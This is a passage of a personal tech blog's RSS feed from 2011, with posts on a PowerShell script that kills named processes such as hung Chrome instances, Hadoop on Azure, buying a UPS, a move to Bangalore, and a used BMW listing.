		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		WCF scales up slowly with bursts of work
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>PowerShell script to kill named processes</title>
      <link>/post/2011/05/powershell-script-to-kill-named-processes/</link>
      <pubDate>Mon, 23 May 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/05/powershell-script-to-kill-named-processes/</guid>
      <description>&lt;p&gt;There are times when you need to kill a number of processes in one-go like today when Chrome crashed a few times hanging all the running instances – next time Google says, one tab cannot bring down all of them – send them my way :). For such times, a PowerShell script is all you need.&lt;/p&gt;
&lt;p&gt;I wrote up a simple one which takes the process name as input and then kills all the processes which match that name.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;9&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Script is not signed, so need this. Set-ExecutionPolicy Unrestricted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Need to set the param to a variable $target = $args\[0\]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$target&lt;/span&gt;) { &lt;span style=&#34;color:#f4dbd6&#34;&gt;$orphanProcs&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;get-process&lt;/span&gt; | &lt;span style=&#34;color:#91d7e3&#34;&gt;where &lt;/span&gt;{$\_.&lt;span style=&#34;color:#f5a97f&#34;&gt;Name&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-eq&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$target&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Check if list is null; if not kill all the procs if ($soonToBeDeadProcs) { #display list $soonToBeDeadProcs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#kill list $soonToBeDeadProcs | foreach { $\_.Kill() } } else { Write-Host &amp;#34;Oops, no processes found older with the name: $target&amp;#34; } } else { Write-Host &amp;#34;Oops, no arguments passed. You need to provide one argument (the Process Name).&amp;#34; Write-Host &amp;#34;Example 1: killproc chrome&amp;#34; Write-Host &amp;#34;Example 2: killproc &amp;#39;some other process&amp;#39;&amp;#34; } \[/sourcecode\]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Example Output (Killing Chrome in this case):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;PS C:\Users\amit.bahree\Desktop&amp;gt; .\killproc.ps1 chrome&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;\-------  ------    -----      ----- -----   ------     -- ----------- 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    139      30    34292      46708   164     3.87    376 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    137      22    20932      33648   149     2.48   1260 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    141      21    17896      31328   148     3.01   3572 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   5434      37    56932      66528   266 1,134.36   4940 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    139      22    20288      33084   150     4.12   5032 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    145      21    16576      31368   149     0.58   5148 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    147      19    14384      26992   150     1.42   5604 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    142      23    32292      37416   156     8.42   6528 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    136      17    12456      23964   142     0.30   6732 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    144      26    27004      39136   156     0.98   6736 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   1586      90   151224     209888   512   395.87   7184 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    138      22    21388      33916   151     3.76   7504 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    123      13     7756      15196   126     0.56   7512 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    142      21    23112      35552   150     2.01   9860 chrome  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    140      18    13032      25148   150     1.73  10432 chrome&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Hadoop in Azure</title>
      <link>/post/2011/05/hadoop-in-azure/</link>
      <pubDate>Sun, 22 May 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/05/hadoop-in-azure/</guid>
      <description>&lt;p&gt;My dear friend &lt;a
	
		href = &#34;http://blogs.msdn.com/b/mariok/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mario
	&lt;/span&gt;
&lt;/a&gt; has finally got around to blogging and one of his &lt;a
	
		href = &#34;http://blogs.msdn.com/b/mariok/archive/2011/05/11/hadoop-in-azure.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		latest posts shows
	&lt;/span&gt;
&lt;/a&gt;, it is possible to run &lt;a
	
		href = &#34;http://hadoop.apache.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hadoop
	&lt;/span&gt;
&lt;/a&gt; (which if you are not familiar with, can be thought of as an open source version of Google’s &lt;a
	
		href = &#34;http://labs.google.com/papers/mapreduce.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MapReduce
	&lt;/span&gt;
&lt;/a&gt;) in Azure. You need to setup a typical configuration of nodes (Name Nodes, Tracker and Slaves).&lt;/p&gt;
&lt;p&gt;Sure, there are a number of dependencies some you would expect, others not (e.g. Cygwin – cringe!; but hopefully that will go away with Hadoop 0.22). I wonder what overheard the Cygwin runtime has?&lt;/p&gt;
&lt;p&gt;It would be interesting to know if someone is (or planning) to use this at work.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/2376.71.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Tips on Buying a UPS?</title>
      <link>/post/2011/05/tips-on-buying-a-ups/</link>
      <pubDate>Sun, 15 May 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/05/tips-on-buying-a-ups/</guid>
      <description>&lt;p&gt;After moving to Bangalore, it turns out that I would need to get one or more UPS&amp;rsquo;s for the machines at home. The place we will be moving to in a few weeks does have power backup, but if/when there is a power cut it takes a few minutes for the generators to kick in and is not instantaneous as I was thinking.&lt;/p&gt;
&lt;p&gt;I have never bought a UPS until now and don&amp;rsquo;t have any experience with it - what are the things that I need to consider? I will have the following equipment running which will need to be powered up for about 15 minutes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4 Desktops (including a MCE and WHS)&lt;/li&gt;
&lt;li&gt;Two 17” LCD Monitors&lt;/li&gt;
&lt;li&gt;A set of powered Speakers (optional)&lt;/li&gt;
&lt;li&gt;Few switches&lt;/li&gt;
&lt;li&gt;KVM Switch&lt;/li&gt;
&lt;li&gt;VOIP Phone&lt;/li&gt;
&lt;li&gt;Wireless Router&lt;/li&gt;
&lt;li&gt;DSL Modem&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Would it make sense to buy a few smaller UPS&amp;rsquo;s instead of one big one? Which is a good one? How much wattage/capacity should I look to get? Can one get second-hand ones - are they recommended? Does the UPS required any maintenance or are they maintenance free these days? :-?&lt;/p&gt;
&lt;p&gt;Of all the machines, the WHS is one of the most critical ones. Is there any UPS&amp;rsquo;s which work well with some Add-Ins? I am interested in WHS shutting down in an orderly fashion so as to save all the data whenever the UPS battery gets low (in case for some reason the generators don&amp;rsquo;t kick in).&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How times Change</title>
      <link>/post/2011/05/how-times-change/</link>
      <pubDate>Fri, 13 May 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/05/how-times-change/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/How-times-change-O.jpg&#34; alt=&#34;How times Change&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Bug tracking</title>
      <link>/post/2011/04/bug-tracking/</link>
      <pubDate>Sat, 30 Apr 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/04/bug-tracking/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/6a00d8341d3df553ef01538de7d961970b-L.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Just the two of us</title>
      <link>/post/2011/04/just-the-two-of-us/</link>
      <pubDate>Sun, 10 Apr 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/04/just-the-two-of-us/</guid>
      <description>&lt;p&gt;Read &lt;a
	
		href = &#34;http://www.guardian.co.uk/lifeandstyle/2011/apr/02/matt-logelin-single-father&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this story in the Guardian
	&lt;/span&gt;
&lt;/a&gt; about a guy called &lt;a
	
		href = &#34;http://www.mattlogelin.com/about/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Matt
	&lt;/span&gt;
&lt;/a&gt;, who blogged about bringing up his daughter all alone, as his wife died soon after giving birth. This was such a heart stopping story, which is highly recommended. Interesting shift on the tone of the blog which first helped Matt with the bereavement and later gave him strength to cope with this to finally the blog providing support for others in a similar boat and looking for help.&lt;/p&gt;
&lt;p&gt;If you get teary-eyed then you probably don’t want to read this, but I would recommend the article. Matt has just released a book called &lt;a
	
		href = &#34;http://www.twokissesformaddy.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Two Kisses for Maddy
	&lt;/span&gt;
&lt;/a&gt; as well.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Moving</title>
      <link>/post/2011/03/moving/</link>
      <pubDate>Fri, 25 Mar 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/03/moving/</guid>
      <description>&lt;p&gt;In other news of the day … we are going to be moving in the next few weeks to Bangalore. &lt;a
	
		href = &#34;http://www.avanade.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Avanade
	&lt;/span&gt;
&lt;/a&gt;, is sending me on a &lt;a
	
		href = &#34;http://dictionary.reference.com/browse/posting&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		posting
	&lt;/span&gt;
&lt;/a&gt;/&lt;a
	
		href = &#34;http://dictionary.reference.com/browse/secondment&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		secondment
	&lt;/span&gt;
&lt;/a&gt; to Bangalore for 18 months to help out with a few things. Of course, the family will be moving as well. After my tenure, the plan is to come back to London.&lt;/p&gt;
&lt;p&gt;So, over the next few days/weeks there is going to be a flurry of activity with us trying to rent our flat, &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2011/03/13/selling-my-car-left-hand-drive-bmw-330i/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		sell the car
	&lt;/span&gt;
&lt;/a&gt;, packing, moving things into storage, figuring out what to feed and drink the muscle (a.k.a friends and family – suckers!) who we managed to rope in to help with the stuff, etc., etc.&lt;/p&gt;
&lt;p&gt;I have been to Bangalore only twice before – each time for a few days on work. Needless to say, it is going to be an interesting experience. There are a few excited people in Bangalore waiting for this – I just hope I can live up the the hype. :)&lt;/p&gt;
&lt;p&gt;And yes, the tickets have been booked and confirmed!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Selling my Car (Left Hand Drive - BMW 330i)</title>
      <link>/post/2011/03/selling-my-car-left-hand-drive-bmw-330i/</link>
      <pubDate>Sun, 13 Mar 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/03/selling-my-car-left-hand-drive-bmw-330i/</guid>
      <description>&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt; Car already sold - thanks for all the interest.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Dropping the price we we need to sell the car soon! I am wanting to sell my car and thought I would put it up on my blog first before trying other places.&lt;/p&gt;
&lt;p&gt;It is a Left Hand Drive BMW 330i Automatic (2001 model) with 89K miles in &lt;strong&gt;Excellent&lt;/strong&gt; condition and has both the Sports and Premium packages factory installed.&lt;/p&gt;
&lt;p&gt;We bought it brand new and are the only owners; and have all the paperwork since we bought it originally. This is a personal import (to the UK) and is fully legal in UK, Europe and US (it also meets California emission controls). It has 12 months MOT.&lt;/p&gt;
&lt;p&gt;Here are the specifications:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Left Hand Drive BMW 330i (E46), 4 door Saloon&lt;/li&gt;
&lt;li&gt;3 Litre Engine (Petrol), producing 231 PS (170 kW; 228 bhp) and 214 ft lbf (290 N·m)&lt;/li&gt;
&lt;li&gt;Automatic Transmission (Steptronic Gears with a Manual, Sports and Fully Auto mode)&lt;/li&gt;
&lt;li&gt;Black Colour&lt;/li&gt;
&lt;li&gt;Automatic Climate Control Air Conditioning&lt;/li&gt;
&lt;li&gt;CD player with Premier Harman Kardon 8-way speakers&lt;/li&gt;
&lt;li&gt;Heated Door Mirrors&lt;/li&gt;
&lt;li&gt;Xenon Headlights&lt;/li&gt;
&lt;li&gt;All Leather Seats&lt;/li&gt;
&lt;li&gt;ABS and Anti-Skid Traction Control (a.k.a Dynamic Stability Control - DSC)&lt;/li&gt;
&lt;li&gt;Driver and Passenger Side Air Bags&lt;/li&gt;
&lt;li&gt;Multifunctional steering wheel&lt;/li&gt;
&lt;li&gt;Central Locking&lt;/li&gt;
&lt;li&gt;Cruise Control&lt;/li&gt;
&lt;li&gt;Isofix child seat anchor points&lt;/li&gt;
&lt;li&gt;On board computer with trip details, Mileage, Service Indicator, Air Temperature, etc.&lt;/li&gt;
&lt;li&gt;Full Size spare&lt;/li&gt;
&lt;li&gt;Premium Package which includes:
&lt;ul&gt;
&lt;li&gt;A multifunction steering wheel&lt;/li&gt;
&lt;li&gt;Wood grain interior trim&lt;/li&gt;
&lt;li&gt;Rain-sensing windshield wipers&lt;/li&gt;
&lt;li&gt;Auto-dimming rear-view mirror&lt;/li&gt;
&lt;li&gt;Full adjustable Power seats for both Driver and Passenger&lt;/li&gt;
&lt;li&gt;Driver Seat memory&lt;/li&gt;
&lt;li&gt;Power Lumbar Support for both Driver and Passenger&lt;/li&gt;
&lt;li&gt;Moonroof&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sports Package which includes:
&lt;ul&gt;
&lt;li&gt;Three spoke sports leather steering wheel – provides had improved grip over the standard &amp;ldquo;square&amp;rdquo; steering wheel.&lt;/li&gt;
&lt;li&gt;Sport seats – provide better bolstering and support than the stock seats. They also include adjustable thigh supports.&lt;/li&gt;
&lt;li&gt;17 inch wheels with staggered lower profile tires.&lt;/li&gt;
&lt;li&gt;Sport suspension which offered improved handling by way of firmer springs, a lower ride height, and tighter dampers.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here are a few photos of the car.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1212718290_KPexb-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212718628_WvU3t-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212718648_HzhHr-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212715356_43smR-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212715306_LvBvG-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212715805_HgpTE-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212716761_EPA6h-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212717574_sGLre-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212716249_m8zPi-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/1212716540_nfK7W-Th.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

